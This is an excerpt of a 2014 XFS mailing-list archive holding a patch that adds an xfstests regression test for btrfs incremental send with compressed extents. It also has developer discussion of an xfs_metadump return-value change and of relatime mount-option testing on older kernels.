send Message-Id: <1392408522-764-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wi0-f181.google.com[209.85.212.181] X-Barracuda-Start-Time: 1392408561 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145118 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Test for a btrfs incremental send issue where we end up sending a wrong section of data from a file extent if the corresponding file extent is compressed and the respective file extent item has a non zero data offset. Fixed by the following linux kernel btrfs patch: Btrfs: use right clone root offset for compressed extents Signed-off-by: Filipe David Borba Manana --- tests/btrfs/040 | 103 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/040.out | 1 + tests/btrfs/group | 1 + 3 files changed, 105 insertions(+) create mode 100755 tests/btrfs/040 create mode 100644 tests/btrfs/040.out diff --git a/tests/btrfs/040 b/tests/btrfs/040 new file mode 100755 index 0000000..c1f3d13 --- /dev/null +++ b/tests/btrfs/040 @@ -0,0 +1,103 @@ +#! /bin/bash +# FS QA Test No. btrfs/040 +# +# Test for a btrfs incremental send issue where we end up sending a +# wrong section of data from a file extent if the corresponding file +# extent is compressed and the respective file extent item has a non +# zero data offset. +# +# Fixed by the following linux kernel btrfs patch: +# +# Btrfs: use right clone root offset for compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount "-o compress-force=lzo" + +run_check $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo +$XFS_IO_PROG -c "fpunch 582007 864596" $SCRATCH_MNT/foo +run_check $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ + $SCRATCH_MNT/foo + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +run_check $XFS_IO_PROG -c "pwrite -S 0xe1 -b 38804 1119395 38804" \ + $SCRATCH_MNT/foo +run_check $XFS_IO_PROG -c "pwrite -S 0x0e -b 41125 80802 41125" \ + $SCRATCH_MNT/foo + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/040.out b/tests/btrfs/040.out new file mode 100644 index 0000000..7740549 --- /dev/null +++ b/tests/btrfs/040.out @@ -0,0 +1 @@ +QA output created by 040 diff --git a/tests/btrfs/group b/tests/btrfs/group index 2ca2225..a687634 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -38,3 +38,4 @@ 033 auto quick 034 auto quick 036 auto quick +040 auto quick -- 1.7.9.5 From tinguely@sgi.com Fri Feb 14 14:54:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E92C97F53 for ; Fri, 14 Feb 2014 14:54:31 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id B91B830406A; Fri, 14 Feb 2014 12:54:31 -0800 (PST) Message-ID: <52FE8287.2090606@sgi.com> Date: Fri, 14 Feb 2014 14:54:31 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-2-git-send-email-david@fromorbit.com> <52FD1D38.1010006@sgi.com> <20140214022053.GQ13997@dastard> <52FE73B3.1020804@sgi.com> In-Reply-To: <52FE73B3.1020804@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/14/14 13:51, Mark Tinguely wrote: > On 02/13/14 20:20, Dave Chinner wrote: >> On Thu, Feb 13, 2014 at 01:30:00PM -0600, Mark Tinguely wrote: >>> On 01/23/14 04:23, Dave Chinner wrote: >>>> From: Dave Chinner >>>> >>>> Write_buf/write_index use confusing boolean values for return, >>>> meaning that it's hard to tell what the correct error return is >>>> supposed to be. Convert them to return zero on success or a >>>> negative errno otherwise so that it's clear what the error case is. >>>> >>>> Signed-off-by: Dave Chinner >>>> --- >>> >>> Looks like this patch broke metadumps on some corrupted filesystems. >>> This is a legacy filesystem that has zeroes overwriting the >>> SB/AGF/AGI on AG 1/2/3: >>> >>> >>> # xfs_metadump -wgo /dev/sda8 myfile.metadata >>> xfs_agf_read_verify: XFS_CORRUPTION_ERROR >>> xfs_metadump: cannot init perag data (117). Continuing anyway. >>> Copied 64 of 64 inodes (0 of 4 AGs) xfs_agf_write_verify: XF >>> S_CORRUPTION_ERROR >>> write_buf: write verifer failed on bno 0x1100919/0x200 >>> (no output) >> >> Where did it crash? Can you post the stack trace from gdb? Even >> better, can you send a patch to fix the problem? ;) >> >> Cheers, >> >> Dave. > > No crash, just exits without performing the dump. > > --Mark. > The error from the verifier prevents the metadump from completing. You will want to fix it another way... --Mark. --- db/metadump.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) Index: b/db/metadump.c =================================================================== --- a/db/metadump.c +++ b/db/metadump.c @@ -209,7 +209,7 @@ write_buf( _("%s: write verifer failed on bno 0x%llx/0x%x\n"), __func__, (long long)buf->bp->b_bn, buf->bp->b_bcount); - return -buf->bp->b_error; + return 0; } } From david@fromorbit.com Fri Feb 14 16:24:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A96A17F51 for ; Fri, 14 Feb 2014 16:24:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9491C8F806F for ; Fri, 14 Feb 2014 14:24:24 -0800 (PST) X-ASG-Debug-ID: 1392416662-04cbb00c283d00b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Cv06miDP6TdrptJu for ; Fri, 14 Feb 2014 14:24:22 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgJANmW/lJ5LJYe/2dsb2JhbABZgwaDP7cwhVCBFxd0giUBAQU6HCMQCAMYCSUPBSUDIROIBMhpFxaOYweEOASYK5Ikg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Feb 2014 08:54:21 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WERBC-0007ki-G9; Sat, 15 Feb 2014 09:24:18 +1100 Date: Sat, 15 Feb 2014 09:24:18 +1100 From: Dave Chinner To: Eric Sandeen Cc: dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options Message-ID: <20140214222418.GT13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> <52FE472C.8070503@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FE472C.8070503@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1392416662 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145121 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 10:41:16AM -0600, Eric Sandeen wrote: > On 2/14/14, 10:39 AM, David Sterba wrote: > > On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: > >>> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full > >>> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." > >> > >> Ok, I guess "relatime" in /proc/mounts is from core vfs code and > >> should be there for the foreseeable future, so seems ok. > >> > >> But - relatime was added in v2.6.20, and made default in 2.6.30. So > >> testing older kernels may not go as expected; it'd probably be best to > >> catch situations where relatime isn't available (< 2.6.20) or not > >> default (< 2.6.30), by explicitly mounting with relatime, and skipping > >> relatime/strictatime tests if that fails? > > > > Is there some consensus what's the lowest kernel version to be supported > > by xfstests? 2.6.32 is the lowest base for kernels in use today, so > > worrying about anything older does not seem necessary. > > > > I don't know that it's been discussed - selfishly, I know our QE uses > xfstests on RHEL5, which is 2.6.18-based. Sure, but they can just add the test to a "rhel5-expunged" file and they don't have to care about tests that won't work on RHEL 5 or other older kernels. Or to send patches to add "_requires_relatime" so that it automatically does the right thing for older kernels. Ultimately, upstream developers can't do all the work necessary to support distros - that's why the distros have their own engineers and QE to make sure the upstream code works correctly when they backport it. xfstests is no different. ;) IOWs, if someone wants to run a modern test suite on a 7 year old distro, then they need to make sure that the test suite does the right thing for their distro. We'll take the patches that make it work, but we can't expect upstream developers to know what old distros require, let alone test and make stuff work on them... Just my 2c worth. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Fri Feb 14 17:49:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7807B7F51 for ; Fri, 14 Feb 2014 17:49:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 385038F808F for ; Fri, 14 Feb 2014 15:49:08 -0800 (PST) X-ASG-Debug-ID: 1392421744-04bdf0121f3faf30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id X4DsG3SIJWMXZOUg for ; Fri, 14 Feb 2014 15:49:04 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1ENn1hn017264 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 14 Feb 2014 18:49:01 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1ENmxZn022688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 14 Feb 2014 18:49:00 -0500 Message-ID: <52FEAB6B.10107@redhat.com> Date: Fri, 14 Feb 2014 17:48:59 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , Eric Sandeen CC: dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> <52FE472C.8070503@sandeen.net> <20140214222418.GT13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options In-Reply-To: <20140214222418.GT13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392421744 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/14/14, 4:24 PM, Dave Chinner wrote: > On Fri, Feb 14, 2014 at 10:41:16AM -0600, Eric Sandeen wrote: >> On 2/14/14, 10:39 AM, David Sterba wrote: >>> On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: >>>>> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full >>>>> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." >>>> >>>> Ok, I guess "relatime" in /proc/mounts is from core vfs code and >>>> should be there for the foreseeable future, so seems ok. >>>> >>>> But - relatime was added in v2.6.20, and made default in 2.6.30. So >>>> testing older kernels may not go as expected; it'd probably be best to >>>> catch situations where relatime isn't available (< 2.6.20) or not >>>> default (< 2.6.30), by explicitly mounting with relatime, and skipping >>>> relatime/strictatime tests if that fails? >>> >>> Is there some consensus what's the lowest kernel version to be supported >>> by xfstests? 2.6.32 is the lowest base for kernels in use today, so >>> worrying about anything older does not seem necessary. >>> >> >> I don't know that it's been discussed - selfishly, I know our QE uses >> xfstests on RHEL5, which is 2.6.18-based. > > Sure, but they can just add the test to a "rhel5-expunged" file and > they don't have to care about tests that won't work on RHEL 5 or > other older kernels. Or to send patches to add "_requires_relatime" > so that it automatically does the right thing for older kernels. sure but some of this test is still valid on a kernel w/o relatime. And since it's the default, "relatime" might disappear from /proc/mounts some day anyway, so explicitly mounting with the option & failing if that fails might be good future-proofind in any case. *shrug* It was just a request, not a demand. :) Koen, you can do with it whatever you like. Reviews aren't ultimatums. :) If xfstests upstream is only targeted at the current kernel, that's fine, but maye we should make that a little more explicit. -Eric > Ultimately, upstream developers can't do all the work necessary to > support distros - that's why the distros have their own engineers > and QE to make sure the upstream code works correctly when they > backport it. xfstests is no different. ;) > > IOWs, if someone wants to run a modern test suite on a 7 year old > distro, then they need to make sure that the test suite does the > right thing for their distro. We'll take the patches that make it > work, but we can't expect upstream developers to know what old > distros require, let alone test and make stuff work on them... > > Just my 2c worth. > > Cheers, > > Dave. > From david@fromorbit.com Fri Feb 14 19:39:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EE9C27F3F for ; Fri, 14 Feb 2014 19:39:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 77333AC005 for ; Fri, 14 Feb 2014 17:39:40 -0800 (PST) X-ASG-Debug-ID: 1392428377-04cbb00c293dce70001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HUqAIQCZHgTT4dAv for ; Fri, 14 Feb 2014 17:39:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjQLAMrE/lJ5LJYe/2dsb2JhbABZgwaDP7c0hVCBFhd0giUBAQU6HCMQCAMYCSUPBSUDIROIBMhtFxaOZQeEOASYK5Ikg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Feb 2014 12:09:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WEUE7-00083l-Ui; Sat, 15 Feb 2014 12:39:31 +1100 Date: Sat, 15 Feb 2014 12:39:31 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options Message-ID: <20140215013931.GT13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> <52FE472C.8070503@sandeen.net> <20140214222418.GT13997@dastard> <52FEAB6B.10107@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FEAB6B.10107@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1392428377 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145126 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 05:48:59PM -0600, Eric Sandeen wrote: > On 2/14/14, 4:24 PM, Dave Chinner wrote: > > On Fri, Feb 14, 2014 at 10:41:16AM -0600, Eric Sandeen wrote: > >> On 2/14/14, 10:39 AM, David Sterba wrote: > >>> On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: > >>>>> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full > >>>>> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." > >>>> > >>>> Ok, I guess "relatime" in /proc/mounts is from core vfs code and > >>>> should be there for the foreseeable future, so seems ok. > >>>> > >>>> But - relatime was added in v2.6.20, and made default in 2.6.30. So > >>>> testing older kernels may not go as expected; it'd probably be best to > >>>> catch situations where relatime isn't available (< 2.6.20) or not > >>>> default (< 2.6.30), by explicitly mounting with relatime, and skipping > >>>> relatime/strictatime tests if that fails? > >>> > >>> Is there some consensus what's the lowest kernel version to be supported > >>> by xfstests? 2.6.32 is the lowest base for kernels in use today, so > >>> worrying about anything older does not seem necessary. > >>> > >> > >> I don't know that it's been discussed - selfishly, I know our QE uses > >> xfstests on RHEL5, which is 2.6.18-based. > > > > Sure, but they can just add the test to a "rhel5-expunged" file and > > they don't have to care about tests that won't work on RHEL 5 or > > other older kernels. Or to send patches to add "_requires_relatime" > > so that it automatically does the right thing for older kernels. > > sure but some of this test is still valid on a kernel w/o relatime. > And since it's the default, "relatime" might disappear from /proc/mounts > some day anyway, so explicitly mounting with the option & failing > if that fails might be good future-proofind in any case. > > *shrug* > > It was just a request, not a demand. :) Koen, you can do with > it whatever you like. Reviews aren't ultimatums. :) > > If xfstests upstream is only targeted at the current kernel, that's > fine, but maye we should make that a little more explicit. That's not what I meant. ;) Really, all I'm saying is that we can't expect people who are writing tests that work on current kernels to know what is necessary to make tests work on 7 year old distros that don't support a feature that has been in mainline for 5 years. Hence that shouldn't be a barrier to having a test committed as we have mechanisms for distro QE to handle these sorts of issues... Indeed, I'm quite happy to host distro specific test expunge files in the upstream repo so anyone can see what tests are expected to pass/run on various distros.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Fri Feb 14 21:02:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0562E7F3F for ; Fri, 14 Feb 2014 21:02:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DC6F48F8035 for ; Fri, 14 Feb 2014 19:02:18 -0800 (PST) X-ASG-Debug-ID: 1392433337-04cb6c6de23e5ac0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8YsKKvrahazKPfiT for ; Fri, 14 Feb 2014 19:02:18 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1F32ClL007987 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 14 Feb 2014 22:02:12 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1F328gi031861 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 14 Feb 2014 22:02:09 -0500 Message-ID: <52FED8B0.6040009@redhat.com> Date: Fri, 14 Feb 2014 21:02:08 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> <52FE472C.8070503@sandeen.net> <20140214222418.GT13997@dastard> <52FEAB6B.10107@redhat.com> <20140215013931.GT13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options In-Reply-To: <20140215013931.GT13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392433337 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/14/14, 7:39 PM, Dave Chinner wrote: > On Fri, Feb 14, 2014 at 05:48:59PM -0600, Eric Sandeen wrote: >> On 2/14/14, 4:24 PM, Dave Chinner wrote: >>> On Fri, Feb 14, 2014 at 10:41:16AM -0600, Eric Sandeen wrote: >>>> On 2/14/14, 10:39 AM, David Sterba wrote: >>>>> On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: >>>>>>> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full >>>>>>> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." >>>>>> >>>>>> Ok, I guess "relatime" in /proc/mounts is from core vfs code and >>>>>> should be there for the foreseeable future, so seems ok. >>>>>> >>>>>> But - relatime was added in v2.6.20, and made default in 2.6.30. So >>>>>> testing older kernels may not go as expected; it'd probably be best to >>>>>> catch situations where relatime isn't available (< 2.6.20) or not >>>>>> default (< 2.6.30), by explicitly mounting with relatime, and skipping >>>>>> relatime/strictatime tests if that fails? >>>>> >>>>> Is there some consensus what's the lowest kernel version to be supported >>>>> by xfstests? 2.6.32 is the lowest base for kernels in use today, so >>>>> worrying about anything older does not seem necessary. >>>>> >>>> >>>> I don't know that it's been discussed - selfishly, I know our QE uses >>>> xfstests on RHEL5, which is 2.6.18-based. >>> >>> Sure, but they can just add the test to a "rhel5-expunged" file and >>> they don't have to care about tests that won't work on RHEL 5 or >>> other older kernels. Or to send patches to add "_requires_relatime" >>> so that it automatically does the right thing for older kernels. >> >> sure but some of this test is still valid on a kernel w/o relatime. >> And since it's the default, "relatime" might disappear from /proc/mounts >> some day anyway, so explicitly mounting with the option & failing >> if that fails might be good future-proofind in any case. >> >> *shrug* >> >> It was just a request, not a demand. :) Koen, you can do with >> it whatever you like. Reviews aren't ultimatums. :) >> >> If xfstests upstream is only targeted at the current kernel, that's >> fine, but maye we should make that a little more explicit. > > That's not what I meant. ;) > > Really, all I'm saying is that we can't expect people who are > writing tests that work on current kernels to know what is necessary > to make tests work on 7 year old distros that don't support a > feature that has been in mainline for 5 years. Hence that shouldn't > be a barrier to having a test committed as we have mechanisms for > distro QE to handle these sorts of issues... Sure, that's perfectly fair. I wasn't really thinking of RHEL5 when I made my first comment, just general portability across kernels. dsterba suggested that 2.6.32 is the oldest kernel used, and I pointed out that we do still use 2.6.18. :) Anyway, for general portability across releases, perhaps rather than: +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full +[ $? -ne 0 ] && echo "The relatime mount option should be the default." which would fail the test, it should just [notrun] if relatime isn't there, for any reason, on any kernel, if relatime is not default as expected for the test framework. i.e. +[ $? -ne 0 ] && _notrun "The relatime mount option is not the default." -Eric From shaman@gdblabs.com Fri Feb 14 21:18:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A3FA07F3F for ; Fri, 14 Feb 2014 21:18:47 -0600 (CST) Received: from 